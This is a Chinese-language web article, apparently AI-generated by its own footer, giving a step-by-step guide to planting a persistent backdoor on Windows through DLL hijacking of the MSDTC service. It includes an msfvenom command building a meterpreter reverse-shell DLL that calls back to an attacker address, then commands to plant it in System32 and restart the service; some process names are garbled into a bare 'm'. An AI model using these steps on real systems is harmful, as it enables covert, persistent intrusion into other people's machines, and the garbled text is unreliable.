您的位置 首页 > 数码极客

如何在计算机上留一个后门



这次文章的主角是msdtc,我们这次的目标就是让msdtc成为我们的"特洛伊木马"


msdtc介绍


1、m是微软分布式传输协调程序。该进程调用系统Microsoft Personal Web Server和Microsoft SQL Server。该服务用于管理多个服务器。

2、m是一个并列事务,是分布于两个以上的数据库,消息队列,文件系统或其他事务保护资源 管理器,删除要小心。

3、存在于组环境和域环境中。

4、进程文件: msdtc 或者 m。

5、进程名称: Distributed Transaction Coordinator 6、msdtc依赖RPC,RPC使用的端口为135。

msdtc后门利用


利用条件


目标机器处于域环境或组环境中,并且开启msdtc服务。存在域:


服务开启:


利用原理


当Windows操作系统启动Microsoft分布式事务处理协调器(MSDTC)服务时,攻击便开始了,该 服务可协调跨越多个资源管理器(例如数据库,消息队列和文件系统)的事务。当目标计算机加入域 时,MSDTC服务启动,它将搜索注册表如下位置:


HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC\MTxOCI


MSDTC服务中的MTxOCI组件搜索三个DLL:oci.dll,SQLLib80.dll和xa80.dll。Windows系统默认不包 含oci.dll。

我们将后门dll将其重命名为oci.dll,并将其放置在%SystemRoot%\system32\ 中。oci.dll就绪,使用命令关闭MSDTC服务,从而导致MSDTC重新加载。但是,这一次它将查找并找到oci.dll。


进行利用


生成dll木马:


msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=8888 -f dll > oci.dll


msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=8888 -f dll

> oci.dll

这里有个坑点,64位的系统只支持64位的oci.dll加载,一开始实验的时候,我使用的是32位的

dll,所以一直加载失败。

在目标机器的system32 文件下查看,确实没有存在oci.dll

我们将刚才生成的msf生成的 oci.dll 上传到目标机器的C:\Windows\System32 目录下。在meterpreter中执行


upload oci.dll C:\\Windows shell

C:\Windows>move oci.dll c:\Windows\System32


meterpreter无法将文件直接上传到system32文件下,所以先上传到windows目录下,再启用shell,利用move命令完成操作。

使用命令关闭msdtc进程


taskkill /f /im m


如果mstdc服务没有自动重启,我们可以利用命令进行重启


net start msdtc


执行完毕之后,我们就会得到一个meterpretershell,但是有个问题,我们当前用户的所有者是 NT

AUTHORITY\NETWORK SERVICE


为了获得system权限,可采用降权启动,使用命令:


msdtc -install


效果图:

总结


目标机器重启,当再次登录本地用户或者域用户时(只要确保机器有域环境或组环境即可),木马都 会进行重连。但是权限却不是system权限,而是 NT AUTHORITY\NETWORK SERVICE 。虽然我们可以修改服务的启动者(无法修改为system启动),但是效果并不是很好,权限并不高。

责任编辑: 鲁达

1.内容基于多重复合算法人工智能语言模型创作,旨在以深度学习研究为目的传播信息知识,内容观点与本网站无关,反馈举报请
2.仅供读者参考,本网站未对该内容进行证实,对其原创性、真实性、完整性、及时性不作任何保证;
3.本站属于非营利性站点无毒无广告,请读者放心使用!

“如何在计算机上留一个后门”边界阅读